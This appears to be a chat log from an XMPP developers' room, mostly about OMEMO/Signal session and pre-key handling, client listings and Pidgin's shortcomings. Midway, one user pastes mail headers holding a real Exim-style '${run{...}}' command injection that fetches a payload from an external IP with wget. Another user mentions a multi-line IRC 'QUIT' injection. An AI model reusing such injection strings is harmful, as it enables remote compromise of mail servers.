DanielYagiza: it's probably better if you just ask your question since there are other people in here who can answer them as well
DanielAs lovetox demonstrated yesterday
YagizaDaniel, ok
YagizaSo, once session_cipher is created, I don't need session_builder anymore?
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rionIs it possible to add Psi here https://xmpp.org/getting-started/ ?
rionah there is a list on another page. ok.
Zashhttps://xmpp.org/software/clients.html ?
rionso the first list is discriminating all other clients :)
ZashIt would be nice if there were more detailed getting-started tutorials, with pictures and stuff. Maybe you could do one for Psi?
Zash"get a client, get an account, done!" seems a bit bare
ZashLet's not have another fight over this page 😕
jonas’maybe clients should make tutorials superfluous by having proper onboarding
jonas’with server lists and stuff
jonas’and then we can make it a criterium for a client to have that type of flow to be listed on getting_started
jonas’and Ge0rG can finally get rid of his pidgin
ZashI don't see Pidgin there
jonas’oh, so that was fixed already
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rionwhat's wrong with Pidgin?
jonas’lack of support for any modern XMPP feature?
jonas’and don’t get me started on plugins
Ge0rGtl;dr: everything is wrong
jonas’you know, pidgin, the type of client where you have to ask "did you write anything?" when the peer goes off- and online, because it doesn’t have stream management *or* MAM
jonas’you know, pidgin, the type of client where you need to make other clients resource-lock to, otherwise you don’t get messages (no carbons)
jonas’you know, pidgin, the type of client where you have to consciously log off before switching networks/suspending to not lose messages (again, no SM or MAM)
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jonas’you know, pidgin, the type of client which has an architecture which makes it easy for crypto plugins to accidentally send plaintext instead of ciphertext when you start a message with "/me"
jonas’(I’m stopping now)
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pep.deserves its own rant anyway
pep.fail.
jonas’bahaha
pep.Why poezio.. why..
pep."//me" doesn't even work
jonas’it can’t
jonas’and you know why :)
jonas’that’s why you want to rant about it
jonas’you need ///me
pep.Yes
jonas’and then everyone will see "//me" :)
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pep.jonas’, why I have you, can you merge this plz https://github.com/xsf/xmpp.org/pull/582 :)
rionWell I always used Pidgin just like a transport for spectrum =)
pep.I think there are also horror stories with that
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jonas’pep., I don’t have github credentials at work
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jonas’oh, spectrum with libpurple? you know, the IRC transport where you would get disconnected when you sent a message starting with ``/quit`` to the transport?
jonas’or was it the transport where you would get disconnected when you sent a multi-line message like:
foo
QUIT :bar
jonas’to get disconnected?
jonas’I *am* in a ranty mood today.
rionunfortunately Pidgin's Skype integration is full of bugs. That's what I needed at most last time.
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neshtaxmppmoparisbest: someone comment 127.0.0.1 or number ip is not importamr and this is LIE. today mi friend comment someone connect from 127.0.0.1 and send this:
Return-Path: <root@1ur.com>
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com
Delivered-To: root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.com
Received: from localhost (localhost [127.0.0.1]) by yourdomain.com (Postfix) with ESMTP id A94DBA00B30 for <root+${run{x2Fbinx2Fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@yourdomain.con>; Wed, 26 Jun 2019 02:58:45 +0200 (CEST)
X-Quarantine-ID: <UdVj8nzxJJRS>
X-Virus-Scanned: Debian amavisd-new at yourdomain.com
X-Amavis-Alert: BAD HEADER SECTION, Missing required header field: "Date"
Message-Id: <20190626005845.A94DBA00B30@yourdomain.com>
Date: Wed, 26 Jun 2019 02:58:45 +0200 (CEST)
From: root@1ur.com
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jonas’neshtaxmpp, this room is not about email.
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neshtaxmppjonas’: it is about sslh and someone try hack my friend server throught sslh. i need someone commment how sslh sopve apache2 to show real ip and block 127.0.0.1 not to be used outside internet.
jonas’this room also is not about sslh
jonas’or sysadmin in general
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vanitasvitaeneshtaxmpp, tell your fried to visit a local hackerspace to get help, but please do not bother the people in this room about it.
pep.vanitasvitae, I wish hackerspaces were as big a thing anywhere else than they are in germany, but it's not the case :(
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DanielI'm not entirely sure hackerspaces want to be a replacement for search engines
ZashMaybe there's even a support venue for sslh itself.
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Seveis on its way to the airport. Crossing fingers for a stable connection
GuusRalph and Matt can't make it.
Guusif you're not on a reliable connection, we might as well skip the meeting, unless something important needs to be handled.
Guus(assuming that nyco is here, in the first place)
SeveRight
nycogood guess
Guusdo we skip this meeting or not?
nycolet me check the board
nycofollowup on badges is ok, I've not done the poll yet
nycoso yes, I think we need more members to really advance
SeveI guessed that, yes
Guusok, let's skip this meeting then.
nycothree is good from a bylaws standpoint, but imho not enough for debate and decision making
Guusagreed
nycook
nycoso, bang, and bang, done, thx all, +1W ;-)
Guushave a good flight, Seve 🙂
nycoI believe I can flyyyyy
Seve😁
GuusIf your pilot sings that: run.
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SeveOh... Haha
SeveIf I hear that, it may be too late
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Ge0rGAw, what a pity. I wanted to provide an update regarding the German government contact.
GuusGe0rG - could you do that by mail, if it's longer than 2 sentences?
GuusDo you need our input to progress?
Ge0rGGuus: yes I can. No input needed so far. Should I write to members@?
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Guusif it's of interest to the members, yes. Otherwise: did we solve that Board mailing thingy?
Guus(Seve?)
YagizaWell...
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YagizaWhere can I get session_cipher to decrypt pre_key_signal_message?
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Ge0rGGuus: IIRC somebody is now looking for external mail to board@ or somesuch
jonas’Ge0rG, Seve typically does that
Guus(Who's now in a plane)
GuusGe0rG if you're unsure if it's suitable for members@, mail it to me, and I'll forward it to board@
Ge0rGGuus: I'll try to write down something when I have a bit of time. Don't think there are any issues with using members@
Guustx
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lovetoxYagiza, yes session is only once build, after that you load the session from the database and use it to decrypt and encrypt
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Yagizalovetox, so, I have different question.
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Yagizalovetox, how to generate session_cipher to decrypt pre_key_signal_message?
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YagizaDo I have to decrypt it with a key, generated with empty session_builder (before session_builder_process_pre_key_bundle()) call?
lovetoxhm i cant talk much about the C lib but in the python port
lovetoxyou create a new session_cipher
lovetoxthen use ession_cipher.decryptPkmsg(pre_key_message)
lovetoxand the decryptPkmsg, does create a new session on its own and saves it to the database
lovetoxso nothing more to do here
lovetoxis there something similar in the C version?
lovetoxcreate a new session, store it to the db, decrypt the message
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Yagizalovetox, so, after that call, current session is invalidated and new session is created instead?
lovetoxyes
lovetoxthats also how you refresh a session, you just send a new pkmg
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lovetoxbut normally this should not be necessery
Yagizalovetox, do I need to generate new session_cipher after that?
lovetoxsession_cipher is only a wrapper
lovetoxit does not hold any state itself
lovetoxyou call decrypt or encrypt on it, what it does is it loads the session from the database everytime
lovetoxyou can also recreate it after each message if you want
Yagizalovetox, so, once session is changed, existing session_cipher will use a new session data?
lovetoxyes
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lovetoxi create it on the first message for each contact
lovetoxand cache it
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lovetoxbut you dont have to, you can also create it on every message new, does not make a difference
Yagizalovetox, IC
lovetoxsession is loaded on each message, modified and stored back to database
lovetoxotherwise it would be highly likely that you have invalid session if your application crashes
lovetoxso no state is hold in memory
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Yagizalovetox, ok
Yagizalovetox, so, I need session_builder only when initiating session. If session initiated by other party, it is created by session_cipher_decrypt_pre_key_signal_message(), right?
lovetoxyes
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Yagizalovetox, IC. Thank you.
Yagizalovetox, and the last question.
Yagizalovetox, how do I decide, to which resources of my contact do I need to send encrypted messages, and to which of them not encrypted? Only by checking if it has 'eu.siacs.conversations.axolotl.devicelist+notify' #disco feature?
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lovetoxno
lovetoxyou dont send messages to resources
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lovetoxor better said all messages you send will arrive at all resources of the contact
lovetoxbecause of carbons, mam etc
Yagizalovetox, I can't be sure that all of resources of my contact do support OMEMO.
lovetoxyou dont change anything about how you send a message
lovetoxYagiza, you can be sure that one device supports it
lovetoxand thats enough
lovetoxthe user decides if he wants to send encrypted or not
lovetoxnot the client
Yagizalovetox, what do you mean? I have a contact. And I se all of their resources. And I can choose to which of them to send message.
Yagizalovetox, at least, my cliend allows that.
lovetoxso your client makes the server not save the message in MAM
lovetox?
lovetoxotherwise you cant control who downloads a message from the archive
Yagizalovetox, my client to not support MAM yet.
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lovetoxbut the server has
Yagizalovetox, so?
lovetoxand the server stores all messages in MAM
lovetoxif you want or not
Yagizalovetox, ok
lovetoxand other clients will download it
lovetoxdont assume you can control who gets the message
lovetoxother than the barejid
lovetoxyou find keys in pep
lovetoxthen you know at least one device of the contact supports it
lovetoxand afterwards you give your user the decision if he wants to talk encrypted or not
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Yagizalovetox, anyway. When I send encrypted message, clients, which do not support OMEMO will just ignore it. When I send unencrypted message, all the clients may read and display it.
lovetoxyes
YagizaAnd I can't be sure, that my or their server do support MAM.
lovetoxand you cant know if the user is fine with that
lovetoxthe user maybe totally fine with one of his devices ignoring omemo
lovetoxand only one device beeing able to decrypt
YagizaYes
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lovetoxi just try to save you implementation trouble, you can try to make logic that start and stops encrypting if this and that happens
lovetoxbut i tell you from experience users will come and tell you they want to make the decision themself
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lovetoxespecially disco info is useless here
YagizaSo, if user enabled OMEMO encryption for a contact, but selected a resource, which do not support it, I must somehow make him aware of the fact and send unencrypted messages in that case.
lovetoxit only works if a client is online
lovetoxomemo works also if the contact is offline
lovetoxdont forget that
Yagizalovetox, yes. That's not a problem.
lovetoxYagiza, why do you even have UI where the user selects a resoure
Yagizalovetox, I'm telling only about the sace above.
Yagizalovetox, because that's a good tradition.
lovetoxif i talk as a user, i dont care how many devices are online of my friend, i just want to send him a message
Yagizalovetox, not all the servers do support MAM or Message Archving or Message Carbons.
lovetoxYagiza, then we should tell the admins to upgrade
YagizaSo, it's a good thing to have an ability to specify a resource.
lovetoxi cant help you with that, thats not a usecase for me to write clients for servers from the stoneage
Yagizalovetox, IC. So, you think sending messages to bare JID is a good idea?
lovetoxYagiza, thats not what i wanted to say, allthough many devs in the community would answer that question with yes
lovetoxwhat i want to say is, that i think its bad UI if you make the user force a resource
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lovetoxbecause user has to know about what a resource is, that is xmpp protocol stuff
lovetoxusers just want to write messages
lovetoxand you should no assume only because you adress a message to a resource, that only this resource will get the message
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Yagizalovetox, yes, of course.
lovetoxthat is 99% wrong assumption in our current world
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jonas’send to the bare JID
jonas’you’ll be in pain when IM-NG lands otherwise :)
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pep.When is that :/
pep.Any client/server already doing things with it? More than what MattJ said at the summit
jonas’I think there was some discussion about that type of stuff the other day
jonas’but don’t pin me down on tha
jonas’I wish I had time to experiment with things, but so many fires to fight these weeks
jonas’and I thought we had bad luck with the 38°C yesterday
jonas’(dropped to 25°C today)
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lovetoxi dont find the xep that defines dataforms for disco info
lovetoxah 128
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YagizaAnd one more question...
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YagizaAfter I processed PreKeySignalMessage, an appropriate pre key is automatically substituted with a new one? So, I only need to refresh the bundle on the PEP server?
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lovetoxno
lovetoxthe prekey which was used, is deleted from the database
lovetoxbut no new keys are generated
lovetoxyou have to do this yourself
lovetoxand of course you should instantly delete the prekey used from pep
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Yagizalovetox, so, I need generate a new key instead of used one? Ok.
lovetoxyou dont have to generate new ones, i mean we publish 100 keys
lovetoxyou can also generate new ones when you reach 90 or something like this
lovetoxbut you have to delete the used one from pep, so you have to push 99 keys anyway
lovetoxso i would say just generate one and push 100 again
Yagizalovetox, I aware about publishing new bundle of 100 keys.
Yagizalovetox, the only question was about generating a new key instead of used one.
lovetoxim not following, if a key is used, you only have 99, if you aware that you should have 100 keys
lovetoxwhat is there for other option than generate 1 new key?
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Yagizalovetox, I didn't know old key is deleted and a new one is generated automatically, or not. So, once you told me that it is deleted, but no new key is generated, I understand, that I only need to generate a new key to replace used one.
lovetoxah ok :)
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lovetoxand Yagiza we should move the discussion to xmpp:jdev@conference.jabber.org?join this room is more suited
Yagizalovetox, yes. I tried to ask there, but almost no one replied.
lovetoxim always joined there :)
Yagizalovetox, me too.
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vanitasvitaeYagiza: you could take a look at https://blog.jabberhead.tk/2019/04/15/closer-look-at-the-double-ratchet/ to understand the inner workings of the signal protocol.
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Yagizavanitasvitae, ok, thank you!
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lovetoxcan someone verify that the example here is wrong https://xmpp.org/extensions/xep-0128.html#examples
lovetoxas it has a field without type which means text-single
lovetoxbut still has multiple <values>
lovetoxwhich is a MUST NOT in 0004
lovetoxor am i missing something
moparisthebestjonas’, vanitasvitae: I've tried more than once to help neshtaxmpp by linking him to exactly what he was asking for etc, he's either a troll or beyond help, I just ignore now
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pep.moparisthebest, yeah I have also given in this domain :)
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vanitasvitaeYeah I also dealt with him repeatedly :D
